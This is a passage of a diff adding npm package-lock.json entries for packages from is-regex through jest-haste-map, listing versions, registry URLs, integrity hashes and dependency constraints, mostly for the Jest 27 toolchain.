+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
+      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-regexp": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
+      "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-root": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
+      "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/is-shared-array-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
+      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+      "dependencies": {
+        "call-bind": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-stream": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+      "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-string": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
+      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-symbol": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
+      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "dependencies": {
+        "has-symbols": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-typedarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+      "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
+    },
+    "node_modules/is-weakref": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+      "dependencies": {
+        "call-bind": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-wsl": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+      "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+      "dependencies": {
+        "is-docker": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+    },
+    "node_modules/istanbul-lib-coverage": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+      "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-instrument": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz",
+      "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@babel/parser": "^7.14.7",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-coverage": "^3.2.0",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-instrument/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+      "dependencies": {
+        "istanbul-lib-coverage": "^3.0.0",
+        "make-dir": "^3.0.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/istanbul-lib-source-maps": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+      "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+      "dependencies": {
+        "debug": "^4.1.1",
+        "istanbul-lib-coverage": "^3.0.0",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/istanbul-reports": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz",
+      "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==",
+      "dependencies": {
+        "html-escaper": "^2.0.0",
+        "istanbul-lib-report": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jake": {
+      "version": "10.8.5",
+      "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz",
+      "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==",
+      "dependencies": {
+        "async": "^3.2.3",
+        "chalk": "^4.0.2",
+        "filelist": "^1.0.1",
+        "minimatch": "^3.0.4"
+      },
+      "bin": {
+        "jake": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz",
+      "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==",
+      "dependencies": {
+        "@jest/core": "^27.5.1",
+        "import-local": "^3.0.2",
+        "jest-cli": "^27.5.1"
+      },
+      "bin": {
+        "jest": "bin/jest.js"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-changed-files": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz",
+      "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "execa": "^5.0.0",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-changed-files/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-circus": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz",
+      "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "dedent": "^0.7.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-circus/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-circus/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-circus/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-config": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz",
+      "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==",
+      "dependencies": {
+        "@babel/core": "^7.8.0",
+        "@jest/test-sequencer": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "babel-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "deepmerge": "^4.2.2",
+        "glob": "^7.1.1",
+        "graceful-fs": "^4.2.9",
+        "jest-circus": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-jasmine2": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "parse-json": "^5.2.0",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-json-comments": "^3.1.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "ts-node": ">=9.0.0"
+      },
+      "peerDependenciesMeta": {
+        "ts-node": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-config/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-config/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-config/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-config/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-diff": {
+      "version": "26.6.2",
+      "resolved": "https://registry.nlark.com/jest-diff/download/jest-diff-26.6.2.tgz",
+      "integrity": "sha1-GqdGi1LDpo19XF/c381eSb0WQ5Q=",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^26.6.2",
+        "jest-get-type": "^26.3.0",
+        "pretty-format": "^26.6.2"
+      },
+      "engines": {
+        "node": ">= 10.14.2"
+      }
+    },
+    "node_modules/jest-docblock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz",
+      "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==",
+      "dependencies": {
+        "detect-newline": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz",
+      "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-each/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-each/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-environment-jsdom": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz",
+      "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jsdom": "^16.6.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-environment-node": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz",
+      "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-get-type": {
+      "version": "26.3.0",
+      "resolved": "https://registry.nlark.com/jest-get-type/download/jest-get-type-26.3.0.tgz?cache=0&sync_timestamp=1621937309906&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-get-type%2Fdownload%2Fjest-get-type-26.3.0.tgz",
+      "integrity": "sha1-6X3Dw/U8K0Bsp6+u1Ek7HQmRmeA=",
+      "engines": {
+        "node": ">= 10.14.2"
+      }
+    },
+    "node_modules/jest-haste-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz",
+      "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/graceful-fs": "^4.1.2",
+        "@types/node": "*",
+        "anymatch": "^3.0.3",
+        "fb-watchman": "^2.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-regex-util": "^27.5.1",
+        "jest-serializer": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "walker": "^1.0.7"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "^2.3.2"
+      }
+    },
